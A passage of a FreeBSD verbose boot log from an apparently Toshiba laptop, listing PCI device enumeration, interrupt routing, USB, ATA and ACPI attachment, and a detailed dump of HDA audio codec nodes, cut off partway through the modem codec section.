mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=a, irq=11 powerspec 2 supports D0 D3 current D0 MSI supports 1 message pcib0: matched entry for 0.28.INTA pcib0: slot 28 INTA hardwired to IRQ 17 found-> vendor=0x8086, dev=0x27d2, revid=0x02 domain=0, bus=0, slot=28, func=1 class=06-04-00, hdrtype=0x01, mfdev=1 cmdreg=0x0007, statreg=0x0010, cachelnsz=8 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=b, irq=10 powerspec 2 supports D0 D3 current D0 MSI supports 1 message pcib0: matched entry for 0.28.INTB pcib0: slot 28 INTB hardwired to IRQ 16 found-> vendor=0x8086, dev=0x27d4, revid=0x02 domain=0, bus=0, slot=28, func=2 class=06-04-00, hdrtype=0x01, mfdev=1 cmdreg=0x0007, statreg=0x0010, cachelnsz=8 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=c, irq=11 powerspec 2 supports D0 D3 current D0 MSI supports 1 message pcib0: matched entry for 0.28.INTC pcib0: slot 28 INTC hardwired to IRQ 18 found-> vendor=0x8086, dev=0x27c8, revid=0x02 domain=0, bus=0, slot=29, func=0 class=0c-03-00, hdrtype=0x00, mfdev=1 cmdreg=0x0000, statreg=0x0280, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=a, irq=255 map[20]: type I/O Port, range 32, base 0, size 5, port disabled found-> vendor=0x8086, dev=0x27c9, revid=0x02 domain=0, bus=0, slot=29, func=1 class=0c-03-00, hdrtype=0x00, mfdev=0 cmdreg=0x0000, statreg=0x0280, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=b, irq=255 map[20]: type I/O Port, range 32, base 0, size 5, port disabled found-> vendor=0x8086, dev=0x27ca, revid=0x02 domain=0, bus=0, slot=29, func=2 class=0c-03-00, hdrtype=0x00, mfdev=0 cmdreg=0x0000, statreg=0x0280, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=c, irq=255 map[20]: type I/O Port, range 32, base 0, size 5, port disabled found-> vendor=0x8086, dev=0x27cb, revid=0x02 domain=0, bus=0, slot=29, func=3 class=0c-03-00, hdrtype=0x00, mfdev=0 cmdreg=0x0000, statreg=0x0280, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=d, irq=255 map[20]: type I/O Port, range 32, base 0, size 5, port disabled found-> vendor=0x8086, dev=0x27cc, revid=0x02 domain=0, bus=0, slot=29, func=7 class=0c-03-20, hdrtype=0x00, mfdev=0 cmdreg=0x0000, statreg=0x0290, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=a, irq=255 powerspec 2 supports D0 D3 current D0 map[10]: type Memory, range 32, base 0, size 10, memory disabled found-> vendor=0x8086, dev=0x2448, revid=0xe2 domain=0, bus=0, slot=30, func=0 class=06-04-01, hdrtype=0x01, mfdev=0 cmdreg=0x0007, statreg=0x0010, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) found-> vendor=0x8086, dev=0x27b9, revid=0x02 domain=0, bus=0, slot=31, func=0 class=06-01-00, hdrtype=0x00, mfdev=1 cmdreg=0x0007, statreg=0x0210, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) found-> vendor=0x8086, dev=0x27c4, revid=0x02 domain=0, bus=0, slot=31, func=2 class=01-01-80, hdrtype=0x00, mfdev=0 cmdreg=0x0005, statreg=0x02b8, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=b, irq=11 powerspec 2 supports D0 D3 current D0 map[20]: type I/O Port, range 32, base 0xaf10, size 4, enabled pcib0: matched entry for 0.31.INTB pcib0: slot 31 INTB hardwired to IRQ 19 pcib1: irq 16 at device 1.0 on pci0 pcib1: domain 0 pcib1: secondary bus 1 pcib1: subordinate bus 1 pcib1: I/O decode 0xf000-0xfff pcib1: memory decode 0xfc000000-0xfdffffff pcib1: prefetched decode 0xe0000000-0xefffffff pci1: on pcib1 pci1: domain=0, physical bus=1 found-> vendor=0x10de, dev=0x01da, revid=0xa1 domain=0, bus=1, slot=0, func=0 class=03-00-00, hdrtype=0x00, mfdev=0 cmdreg=0x0007, statreg=0x0010, cachelnsz=8 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=a, irq=10 powerspec 2 supports D0 D3 current D0 MSI supports 1 message, 64 bit map[10]: type Memory, range 32, base 0xfd000000, size 24, enabled pcib1: requested memory range 0xfd000000-0xfdffffff: good map[14]: type Prefetchable Memory, range 64, base 0xe0000000, size 28, enabled pcib1: requested memory range 0xe0000000-0xefffffff: good map[1c]: type Memory, range 64, base 0xfc000000, size 24, enabled pcib1: requested memory range 0xfc000000-0xfcffffff: good pcib1: matched entry for 1.0.INTA pcib1: slot 0 INTA hardwired to IRQ 16 vgapci0: mem 0xfd000000-0xfdffffff,0xe0000000-0xefffffff,0xfc000000-0xfcffffff irq 16 at device 0.0 on pci1 nvidia0: on vgapci0 vgapci0: child nvidia0 requested pci_enable_busmaster vgapci0: child nvidia0 requested pci_enable_io vgapci0: Reserved 0x1000000 bytes for rid 0x10 type 3 at 0xfd000000 vgapci0: Reserved 0x10000000 bytes for rid 0x14 type 3 at 0xe0000000 vgapci0: Reserved 0x1000000 bytes for rid 0x1c type 3 at 0xfc000000 ioapic0: routing intpin 16 (PCI IRQ 16) to lapic 0 vector 49 nvidia0: [GIANT-LOCKED] nvidia0: [ITHREAD] hdac0: at device 27.0 on pci0 hdac0: HDA Driver Revision: 20090624_0136 hdac0: Lazy allocation of 0x4000 bytes rid 0x10 type 3 at 0xd0000000 hdac0: Reserved 0x4000 bytes for rid 0x10 type 3 at 0xd0000000 hdac0: attempting to allocate 1 MSI vectors (1 supported) msi: routing MSI IRQ 256 to local APIC 0 vector 50 hdac0: using IRQ 256 for MSI hdac0: [MPSAFE] hdac0: [ITHREAD] pcib2: irq 17 at device 28.0 on pci0 pcib2: domain 0 pcib2: secondary bus 2 pcib2: subordinate bus 2 pcib2: I/O decode 0xc000-0xcfff pcib2: memory decode 0xffd00000-0xffdfffff pcib2: no prefetched decode pci2: on pcib2 pci2: domain=0, physical bus=2 found-> vendor=0x8086, dev=0x109a, revid=0x00 domain=0, bus=2, slot=0, func=0 class=02-00-00, hdrtype=0x00, mfdev=0 cmdreg=0x0007, statreg=0x0010, cachelnsz=8 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=a, irq=10 powerspec 2 supports D0 D3 current D0 MSI supports 1 message, 64 bit map[10]: type Memory, range 32, base 0xffde0000, size 17, enabled pcib2: requested memory range 0xffde0000-0xffdfffff: good map[18]: type I/O Port, range 32, base 0xcfe0, size 5, enabled pcib2: requested I/O range 0xcfe0-0xcfff: in range pcib2: matched entry for 2.0.INTA pcib2: slot 0 INTA hardwired to IRQ 16 pci2: at device 0.0 (no driver attached) pcib3: irq 16 at device 28.1 on pci0 pcib3: domain 0 pcib3: secondary bus 3 pcib3: subordinate bus 4 pcib3: I/O decode 0xb000-0xbfff pcib3: memory decode 0xfa000000-0xfbffffff pcib3: no prefetched decode pci3: on pcib3 pci3: domain=0, physical bus=3 pcib4: irq 18 at device 28.2 on pci0 pcib4: domain 0 pcib4: secondary bus 5 pcib4: subordinate bus 5 pcib4: I/O decode 0xf000-0xfff pcib4: memory decode 0xffc00000-0xffcfffff pcib4: no prefetched decode pci5: on pcib4 pci5: domain=0, physical bus=5 found-> vendor=0x8086, dev=0x4222, revid=0x02 domain=0, bus=5, slot=0, func=0 class=02-80-00, hdrtype=0x00, mfdev=0 cmdreg=0x0006, statreg=0x0010, cachelnsz=8 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=a, irq=11 powerspec 2 supports D0 D3 current D0 MSI supports 1 message, 64 bit map[10]: type Memory, range 32, base 0xffcff000, size 12, enabled pcib4: requested memory range 0xffcff000-0xffcfffff: good pcib4: matched entry for 5.0.INTA pcib4: slot 0 INTA hardwired to IRQ 18 pci5: at device 0.0 (no driver attached) uhci0: at device 29.0 on pci0 uhci0: Lazy allocation of 0x20 bytes rid 0x20 type 4 at 0x1000 uhci0: Reserved 0x20 bytes for rid 0x20 type 4 at 0x1000 pcib0: matched entry for 0.29.INTA pcib0: slot 29 INTA hardwired to IRQ 23 ioapic0: routing intpin 23 (PCI IRQ 23) to lapic 0 vector 51 uhci0: [MPSAFE] uhci0: [ITHREAD] uhci0: LegSup = 0x0f10 usbus0: on uhci0 uhci1: at device 29.1 on pci0 uhci1: Lazy allocation of 0x20 bytes rid 0x20 type 4 at 0x1020 uhci1: Reserved 0x20 bytes for rid 0x20 type 4 at 0x1020 pcib0: matched entry for 0.29.INTB pcib0: slot 29 INTB hardwired to IRQ 19 ioapic0: routing intpin 19 (PCI IRQ 19) to lapic 0 vector 52 uhci1: [MPSAFE] uhci1: [ITHREAD] uhci1: LegSup = 0x0f10 usbus1: on uhci1 uhci2: at device 29.2 on pci0 uhci2: Lazy allocation of 0x20 bytes rid 0x20 type 4 at 0x1040 uhci2: Reserved 0x20 bytes for rid 0x20 type 4 at 0x1040 pcib0: matched entry for 0.29.INTC pcib0: slot 29 INTC hardwired to IRQ 18 ioapic0: routing intpin 18 (PCI IRQ 18) to lapic 0 vector 53 uhci2: [MPSAFE] uhci2: [ITHREAD] uhci2: LegSup = 0x0f10 usbus2: on uhci2 uhci3: at device 29.3 on pci0 uhci3: Lazy allocation of 0x20 bytes rid 0x20 type 4 at 0x1060 uhci3: Reserved 0x20 bytes for rid 0x20 type 4 at 0x1060 pcib0: matched entry for 0.29.INTD pcib0: slot 29 INTD hardwired to IRQ 16 uhci3: [MPSAFE] uhci3: [ITHREAD] uhci3: LegSup = 0x0f10 usbus3: on uhci3 ehci0: at device 29.7 on pci0 ehci0: Lazy allocation of 0x400 bytes rid 0x10 type 3 at 0xd0004000 ehci0: Reserved 0x400 bytes for rid 0x10 type 3 at 0xd0004000 pcib0: matched entry for 0.29.INTA pcib0: slot 29 INTA hardwired to IRQ 23 ehci0: [MPSAFE] ehci0: [ITHREAD] usbus4: EHCI version 1.0 usbus4: on ehci0 pcib5: at device 30.0 on pci0 pcib5: domain 0 pcib5: secondary bus 6 pcib5: subordinate bus 7 pcib5: I/O decode 0xf000-0xfff pcib5: no prefetched decode pcib5: Subtractively decoded bridge. pci6: on pcib5 pci6: domain=0, physical bus=6 found-> vendor=0x104c, dev=0x8039, revid=0x00 domain=0, bus=6, slot=11, func=0 class=06-07-00, hdrtype=0x02, mfdev=1 cmdreg=0x0000, statreg=0x0210, cachelnsz=8 (dwords) lattimer=0x40 (1920 ns), mingnt=0x40 (16000 ns), maxlat=0x03 (750 ns) intpin=a, irq=255 powerspec 2 supports D0 D1 D2 D3 current D0 map[10]: type Memory, range 32, base 0, size 12, memory disabled found-> vendor=0x104c, dev=0x803a, revid=0x00 domain=0, bus=6, slot=11, func=1 class=0c-00-10, hdrtype=0x00, mfdev=1 cmdreg=0x0000, statreg=0x0210, cachelnsz=8 (dwords) lattimer=0x40 (1920 ns), mingnt=0x02 (500 ns), maxlat=0x04 (1000 ns) intpin=b, irq=255 powerspec 2 supports D0 D1 D2 D3 current D0 map[10]: type Memory, range 32, base 0, size 11, memory disabled map[14]: type Memory, range 32, base 0, size 14, memory disabled found-> vendor=0x104c, dev=0x803c, revid=0x00 domain=0, bus=6, slot=11, func=3 class=08-05-01, hdrtype=0x00, mfdev=1 cmdreg=0x0000, statreg=0x0210, cachelnsz=8 (dwords) lattimer=0x40 (1920 ns), mingnt=0x07 (1750 ns), maxlat=0x04 (1000 ns) intpin=d, irq=255 powerspec 2 supports D0 D1 D2 D3 current D0 map[10]: type Memory, range 32, base 0, size 8, memory disabled cbb0: at device 11.0 on pci6 pcib5: cbb0 requested memory range 0x0-0xffffffff: good cbb0: Lazy allocation of 0x1000 bytes rid 0x10 type 3 at 0xd0005000 cbb0: Reserved 0x1000 bytes for rid 0x10 type 3 at 0xd0005000 cardbus0: on cbb0 pccard0: <16-bit PCCard bus> on cbb0 pcib5: matched entry for 6.11.INTA pcib5: slot 11 INTA hardwired to IRQ 21 ioapic0: routing intpin 21 (PCI IRQ 21) to lapic 0 vector 54 cbb0: [MPSAFE] cbb0: [FILTER] cbb0: PCI Configuration space: 0x00: 0x8039104c 0x02100007 0x06070000 0x00824008 0x10: 0xd0005000 0x020000a0 0x20070706 0xfffff000 0x20: 0x00000000 0xfffff000 0x00000000 0xfffffffc 0x30: 0x00000000 0xfffffffc 0x00000000 0x07400115 0x40: 0x00011179 0x00000001 0x00000000 0x00000000 0x50: 0x00000000 0x00000000 0x00000000 0x00000000 0x60: 0x00000000 0x00000000 0x00000000 0x00000000 0x70: 0x00000000 0x00000000 0x00000000 0x00000000 0x80: 0x0800b060 0x02b30019 0x00070000 0x01aa1022 0x90: 0x606404c0 0x00000000 0x00000000 0x00000000 0xa0: 0x7e020001 0x00c00000 0x00000000 0x00000000 0xb0: 0x08000000 0x00000000 0x00000000 0x00000000 0xc0: 0x00000000 0x00000000 0x00000000 0x00000000 0xd0: 0x00000000 0x00000000 0x00000000 0x00000000 0xe0: 0x00000000 0x00000000 0x00000000 0x00000000 0xf0: 0xc2094d2a 0xcb0193f7 0x00000000 0x00000000 pci6: at device 11.1 (no driver attached) pci6: at device 11.3 (no driver attached) isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0x1f0-0x1f7,0x3f6,0x170-0x177,0x376,0xaf10-0xaf1f irq 19 at device 31.2 on pci0 atapci0: Reserved 0x10 bytes for rid 0x20 type 4 at 0xaf10 ata0: on atapci0 atapci0: Reserved 0x8 bytes for rid 0x10 type 4 at 0x1f0 atapci0: Reserved 0x1 bytes for rid 0x14 type 4 at 0x3f6 ata0: reset tp1 mask=03 ostat0=50 ostat1=00 ata0: stat0=0x50 err=0x01 lsb=0x00 msb=0x00 ata0: stat1=0x00 err=0x01 lsb=0x00 msb=0x00 ata0: reset tp2 stat0=50 stat1=00 devices=0x1 ioapic0: routing intpin 14 (ISA IRQ 14) to lapic 0 vector 55 ata0: [MPSAFE] ata0: [ITHREAD] ata1: on atapci0 atapci0: Reserved 0x8 bytes for rid 0x18 type 4 at 0x170 atapci0: Reserved 0x1 bytes for rid 0x1c type 4 at 0x376 ata1: reset tp1 mask=03 ostat0=50 ostat1=00 ata1: stat0=0x00 err=0x01 lsb=0x14 msb=0xeb ata1: stat1=0x00 err=0x00 lsb=0x00 msb=0x00 ata1: reset tp2 stat0=00 stat1=00 devices=0x10000 ioapic0: routing intpin 15 (ISA IRQ 15) to lapic 0 vector 56 ata1: [MPSAFE] ata1: [ITHREAD] acpi_lid0: on acpi0 battery0: on acpi0 battery1: on acpi0 acpi_button0: on acpi0 acpi_acad0: on acpi0 acpi_toshiba0: on acpi0 acpi_tz0: on acpi0 atkbdc0: port 0x60,0x64 irq 1 on acpi0 atkbd0: irq 1 on atkbdc0 atkbd: the current kbd controller command byte 0047 atkbd: keyboard ID 0x41ab (2) kbd0 at atkbd0 kbd0: atkbd0, AT 101/102 (2), config:0x0, flags:0x3d0000 ioapic0: routing intpin 1 (ISA IRQ 1) to lapic 0 vector 57 atkbd0: [GIANT-LOCKED] atkbd0: [ITHREAD] psm0: unable to allocate IRQ psmcpnp0: irq 12 on acpi0 psm0: current command byte:0047 psm0: irq 12 on atkbdc0 ioapic0: routing intpin 12 (ISA IRQ 12) to lapic 0 vector 58 psm0: [GIANT-LOCKED] psm0: [ITHREAD] psm0: model GlidePoint, device ID 0-00, 3 buttons psm0: config:00006000, flags:00000008, packet size:3 psm0: syncmask:c0, syncbits:00 atrtc0: port 0x70-0x71 irq 8 on acpi0 atrtc0: registered as a time-of-day clock (resolution 1000000us) cpu0: on acpi0 ACPI: SSDT 0xcff982a3 000F3 (v2 TOSHIB A003B 20060907 MSFT 0100000E) ACPI: SSDT 0xcff9840c 0034E (v2 TOSHIB A003B 20060907 MSFT 0100000E) coretemp0: on cpu0 est0: on cpu0 cpu1: on acpi0 ACPI: SSDT 0xcff98396 00076 (v2 TOSHIB A003B 20060907 MSFT 0100000E) ACPI: SSDT 0xcff9875a 00079 (v2 TOSHIB A003B 20060907 MSFT 0100000E) coretemp1: on cpu1 est1: on cpu1 pnp_identify: Trying Read_Port at 203 pnp_identify: Trying Read_Port at 243 pnp_identify: Trying Read_Port at 283 pnp_identify: Trying Read_Port at 2c3 pnp_identify: Trying Read_Port at 303 pnp_identify: Trying Read_Port at 343 pnp_identify: Trying Read_Port at 383 pnp_identify: Trying Read_Port at 3c3 PNP Identify complete isa_probe_children: disabling PnP devices atrtc: atrtc0 already exists; skipping it isa_probe_children: probing non-PnP devices orm0: at iomem 0xc0000-0xcffff,0xe0000-0xeffff pnpid ORM0000 on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sc0: fb0, kbd0, terminal emulator: scteken (teken terminal) vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 isa_probe_children: probing PnP devices Device configuration finished. Reducing kern.maxvnodes 214301 -> 100000 procfs registered WARNING: ZFS is considered to be an experimental feature in FreeBSD. lapic: Divisor 2, Frequency 83125499 hz Timecounter "TSC" frequency 1828760703 Hz quality -100 Timecounters tick every 1.000 msec crypto: Linux ELF exec handler installed pflog0: bpf attached lo0: bpf attached ata0: Identifying devices: 00000001 ata0: New devices: 00000001 usbus0: 12Mbps Full Speed USB v1.0 usbus1: 12Mbps Full Speed USB v1.0 usbus2: 12Mbps Full Speed USB v1.0 usbus3: 12Mbps Full Speed USB v1.0 usbus4: 480Mbps High Speed USB v2.0 battery0: battery initialization start battery0: critically low charge! ACPI Warning: \\_SB_.BAT1._BIF: Return Package type mismatch at index 12 - found Integer, expected String 20090521 nspredef-1058 battery0: battery initialization done, tried 1 times battery1: battery initialization start acpi_acad0: acline initialization start acpi_acad0: On Line acpi_acad0: acline initialization done, tried 1 times ZFS filesystem version 13 ZFS storage pool version 13 ata0-master: pio=PIO4 wdma=WDMA2 udma=UDMA100 cable=40 wire ad0: 95396MB at ata0-master SATA150 ad0: 195371568 sectors [193821C/16H/63S] 16 sectors/interrupt 1 depth queue ata1: Identifying devices: 00010000 ata1: New devices: 00010000 ugen0.1: at usbus0 uhub0: on usbus0 ugen1.1: at usbus1 uhub1: on usbus1 ugen2.1: at usbus2 uhub2: on usbus2 ugen3.1: at usbus3 uhub3: on usbus3 ugen4.1: at usbus4 uhub4: on usbus4 GEOM: new disk ad0 ata1-master: pio=PIO4 wdma=WDMA2 udma=UDMA33 cable=40 wire acd0: DVDR drive at ata1 as master acd0: read 4134KB/s (4134KB/s) write 4134KB/s (4134KB/s), 2048KB buffer, UDMA33 acd0: Reads: CDR, CDRW, CDDA stream, DVDROM, DVDR, DVDRAM, packet acd0: Writes: CDR, CDRW, DVDR, DVDRAM, test write, burnproof acd0: Audio: play, 256 volume levels acd0: Mechanism: ejectable tray, unlocked acd0: Medium: no/blank disc hdac0: Probing codec #0... hdac0: HDA Codec #0: Sigmatel STAC9220 hdac0: HDA Codec ID: 0x83847690 hdac0: Vendor: 0x8384 hdac0: Device: 0x7690 hdac0: Revision: 0x22 hdac0: Stepping: 0x01 hdac0: PCI Subvendor: 0x00011179 hdac0: Found audio FG nid=1 startnode=2 endnode=21 total=19 hdac0: Probing codec #1... hdac0: HDA Codec #1: Lucent/Agere Systems (Unknown) hdac0: HDA Codec ID: 0x11c13026 hdac0: Vendor: 0x11c1 hdac0: Device: 0x3026 hdac0: Revision: 0x07 hdac0: Stepping: 0x00 hdac0: PCI Subvendor: 0x00011179 hdac0: Found modem FG nid=1 startnode=2 endnode=40 total=38 hdac0: hdac0: Processing audio FG cad=0 nid=1... hdac0: GPIO: 0xc0000004 NumGPIO=4 NumGPO=0 NumGPI=0 GPIWake=1 GPIUnsol=1 hdac0: nid 8 0x40f000fd as 15 seq 13 Other None jack 0 loc 0 color Unknown misc 0 hdac0: nid 9 0x40f000fe as 15 seq 14 Other None jack 0 loc 0 color Unknown misc 0 hdac0: nid 13 0x40f000fa as 15 seq 10 Other None jack 0 loc 0 color Unknown misc 0 hdac0: nid 14 0x94011110 as 1 seq 0 Line-out Fixed jack 1 loc 20 color Black misc 1 hdac0: nid 15 0x2181112e as 2 seq 14 Line-in Jack jack 1 loc 33 color Black misc 1 hdac0: nid 16 0x94a11120 as 2 seq 0 Mic Fixed jack 1 loc 20 color Black misc 1 hdac0: nid 17 0x40f000fb as 15 seq 11 Other None jack 0 loc 0 color Unknown misc 0 hdac0: nid 18 0x40f000fc as 15 seq 12 Other None jack 0 loc 0 color Unknown misc 0 hdac0: Patched pins configuration: hdac0: nid 8 0x40f000fd as 15 seq 13 Other None jack 0 loc 0 color Unknown misc 0 [DISABLED] hdac0: nid 9 0x40f000fe as 15 seq 14 Other None jack 0 loc 0 color Unknown misc 0 [DISABLED] hdac0: nid 13 0x40f000fa as 15 seq 10 Other None jack 0 loc 0 color Unknown misc 0 [DISABLED] hdac0: nid 14 0x94011110 as 1 seq 0 Line-out Fixed jack 1 loc 20 color Black misc 1 hdac0: nid 15 0x2181112e as 2 seq 14 Line-in Jack jack 1 loc 33 color Black misc 1 hdac0: nid 16 0x94a11120 as 2 seq 0 Mic Fixed jack 1 loc 20 color Black misc 1 hdac0: nid 17 0x40f000fb as 15 seq 11 Other None jack 0 loc 0 color Unknown misc 0 [DISABLED] hdac0: nid 18 0x40f000fc as 15 seq 12 Other None jack 0 loc 0 color Unknown misc 0 [DISABLED] hdac0: 2 associations found: hdac0: Association 0 (1) out: hdac0: Pin nid=14 seq=0 hdac0: Association 1 (2) in: hdac0: Pin nid=16 seq=0 hdac0: Pin nid=15 seq=14 hdac0: Tracing association 0 (1) hdac0: Pin 14 traced to DAC 2 hdac0: Association 0 (1) trace succeeded hdac0: Tracing association 1 (2) hdac0: Pin 16 traced to ADC 3 hdac0: Pin 15 traced to ADC 3 hdac0: Association 1 (2) trace succeeded hdac0: Tracing input monitor hdac0: Tracing beeper hdac0: FG config/quirks: forcestereo ivref50 ivref80 ivref100 ivref hdac0: hdac0: +-------------------+ hdac0: | DUMPING HDA NODES | hdac0: +-------------------+ hdac0: hdac0: Default Parameter hdac0: ----------------- hdac0: Stream cap: 0x00000001 hdac0: PCM hdac0: PCM cap: 0x000e07e0 hdac0: 16 20 24 bits, 44 48 88 96 176 192 KHz hdac0: IN amp: 0x00000000 hdac0: OUT amp: 0x80051f1f hdac0: hdac0: nid: 2 hdac0: Name: audio output hdac0: Widget cap: 0x000d0401 hdac0: PWR STEREO hdac0: Association: 0 (0x00000001) hdac0: OSS: pcm (pcm) hdac0: Stream cap: 0x00000001 hdac0: PCM hdac0: PCM cap: 0x000e07e0 hdac0: 16 20 24 bits, 44 48 88 96 176 192 KHz hdac0: hdac0: nid: 3 hdac0: Name: audio input hdac0: Widget cap: 0x001d0541 hdac0: PWR PROC STEREO hdac0: Association: 1 (0x00004001) hdac0: Stream cap: 0x00000001 hdac0: PCM hdac0: PCM cap: 0x000e07e0 hdac0: 16 20 24 bits, 44 48 88 96 176 192 KHz hdac0: connections: 1 hdac0: | hdac0: + <- nid=10 [audio selector] hdac0: hdac0: nid: 4 [DISABLED] hdac0: Name: audio input hdac0: Widget cap: 0x00140311 hdac0: DIGITAL STEREO hdac0: Stream cap: 0x00000005 hdac0: AC3 PCM hdac0: PCM cap: 0x000e0160 hdac0: 16 20 24 bits, 44 48 96 KHz hdac0: connections: 1 hdac0: | hdac0: + [DISABLED] <- nid=8 [pin: Other (None)] [DISABLED] hdac0: hdac0: nid: 5 [DISABLED] hdac0: Name: audio output hdac0: Widget cap: 0x00040211 hdac0: DIGITAL STEREO hdac0: Stream cap: 0x00000005 hdac0: AC3 PCM hdac0: PCM cap: 0x000e01e0 hdac0: 16 20 24 bits, 44 48 88 96 KHz hdac0: hdac0: nid: 6 [DISABLED] hdac0: Name: vendor widget hdac0: Widget cap: 0x00f30201 hdac0: DIGITAL STEREO hdac0: hdac0: nid: 7 hdac0: Name: audio selector hdac0: Widget cap: 0x00300901 hdac0: LRSWAP STEREO hdac0: Association: 0 (0x00000001) hdac0: OSS: pcm hdac0: connections: 3 hdac0: | hdac0: + <- nid=2 [audio output] (selected) hdac0: + [DISABLED] <- nid=8 [pin: Other (None)] [DISABLED] hdac0: + [DISABLED] <- nid=10 [audio selector] hdac0: hdac0: nid: 8 [DISABLED] hdac0: Name: pin: Other (None) hdac0: Widget cap: 0x00430681 hdac0: PWR DIGITAL UNSOL STEREO hdac0: Pin cap: 0x00010024 hdac0: PDC IN EAPD hdac0: Pin config: 0x40f000fd hdac0: Pin control: 0x00000000 hdac0: EAPD: 0x00000002 hdac0: hdac0: nid: 9 [DISABLED] hdac0: Name: pin: Other (None) hdac0: Widget cap: 0x00400301 hdac0: DIGITAL STEREO hdac0: Pin cap: 0x00000010 hdac0: OUT hdac0: Pin config: 0x40f000fe hdac0: Pin control: 0x00000000 hdac0: connections: 2 hdac0: | hdac0: + <- nid=5 [audio output] [DISABLED] (selected) hdac0: + <- nid=10 [audio selector] hdac0: hdac0: nid: 10 hdac0: Name: audio selector hdac0: Widget cap: 0x0030090d hdac0: LRSWAP STEREO hdac0: Association: 1 (0x00004001) hdac0: OSS: line, monitor hdac0: Output amp: 0x80050f00 hdac0: mute=1 step=15 size=5 offset=0 hdac0: connections: 1 hdac0: | hdac0: + <- nid=12 [audio selector] hdac0: hdac0: nid: 11 hdac0: Name: audio selector hdac0: Widget cap: 0x00300105 hdac0: STEREO hdac0: Association: 0 (0x00000001) hdac0: OSS: pcm hdac0: Output amp: 0x80051f1f hdac0: mute=1 step=31 size=5 offset=31 hdac0: connections: 1 hdac0: | hdac0: + <- nid=7 [audio selector] hdac0: hdac0: nid: 12 hdac0: Name: audio selector hdac0: Widget cap: 0x0030010d hdac0: STEREO hdac0: Association: 1 (0x00004001) hdac0: OSS: line, monitor hdac0: Output amp: 0x00270400 hdac0: mute=0 step=4 size=39 offset=0 hdac0: connections: 5 hdac0: | hdac0: + <- nid=16 [pin: Mic (Fixed)] (selected) hdac0: + <- nid=15 [pin: Line-in (Black Jack)] hdac0: + [DISABLED] <- nid=14 [pin: Line-out (Fixed)] hdac0: + [DISABLED] <- nid=13 [pin: Other (None)] [DISABLED] hdac0: + [DISABLED] <- nid=18 [pin: Other (None)] [DISABLED] hdac0: hdac0: nid: 13 [DISABLED] hdac0: Name: pin: Other (None) hdac0: Widget cap: 0x00400181 hdac0: UNSOL STEREO hdac0: Pin cap: 0x0000003f hdac0: ISC TRQD PDC HP OUT IN hdac0: Pin config: 0x40f000fa hdac0: Pin control: 0x00000000 hdac0: connections: 1 hdac0: | hdac0: + <- nid=11 [audio selector] hdac0: hdac0: nid: 14 hdac0: Name: pin: Line-out (Fixed) hdac0: Widget cap: 0x00400181 hdac0: UNSOL STEREO hdac0: Association: 0 (0x00000001) hdac0: Pin cap: 0x0000003f hdac0: ISC TRQD PDC HP OUT IN hdac0: Pin config: 0x94011110 hdac0: Pin control: 0x00000040 OUT hdac0: connections: 1 hdac0: | hdac0: + <- nid=11 [audio selector] hdac0: hdac0: nid: 15 hdac0: Name: pin: Line-in (Black Jack) hdac0: Widget cap: 0x00400181 hdac0: UNSOL STEREO hdac0: Association: 1 (0x00004000) hdac0: OSS: line (line) hdac0: Pin cap: 0x00000037 hdac0: ISC TRQD PDC OUT IN hdac0: Pin config: 0x2181112e hdac0: Pin control: 0x00000020 IN hdac0: connections: 1 hdac0: | hdac0: + [DISABLED] <- nid=11 [audio selector] hdac0: hdac0: nid: 16 hdac0: Name: pin: Mic (Fixed) hdac0: Widget cap: 0x00400181 hdac0: UNSOL STEREO hdac0: Association: 1 (0x00000001) hdac0: OSS: monitor (monitor) hdac0: Pin cap: 0x00001737 hdac0: ISC TRQD PDC OUT IN VREF[ 50 80 GROUND HIZ ] hdac0: Pin config: 0x94a11120 hdac0: Pin control: 0x00000024 IN VREFs hdac0: connections: 1 hdac0: | hdac0: + [DISABLED] <- nid=11 [audio selector] hdac0: hdac0: nid: 17 [DISABLED] hdac0: Name: pin: Other (None) hdac0: Widget cap: 0x00400104 hdac0: Pin cap: 0x00000010 hdac0: OUT hdac0: Pin config: 0x40f000fb hdac0: Pin control: 0x00000000 hdac0: Output amp: 0x80051f1f hdac0: mute=1 step=31 size=5 offset=31 hdac0: connections: 1 hdac0: | hdac0: + [DISABLED] <- nid=19 [audio mixer] [DISABLED] hdac0: hdac0: nid: 18 [DISABLED] hdac0: Name: pin: Other (None) hdac0: Widget cap: 0x00400001 hdac0: STEREO hdac0: Pin cap: 0x00000020 hdac0: IN hdac0: Pin config: 0x40f000fc hdac0: Pin control: 0x00000000 hdac0: hdac0: nid: 19 [DISABLED] hdac0: Name: audio mixer hdac0: Widget cap: 0x00200100 hdac0: connections: 1 hdac0: | hdac0: + <- nid=7 [audio selector] hdac0: hdac0: nid: 20 hdac0: Name: beep widget hdac0: Widget cap: 0x0070000c hdac0: Association: -2 (0x00000000) hdac0: OSS: speaker (speaker) hdac0: Output amp: 0x80170303 hdac0: mute=1 step=3 size=23 offset=3 hdac0: hdac0: Processing modem FG cad=1 nid=1... hdac0: pcm0: at cad 0 nid 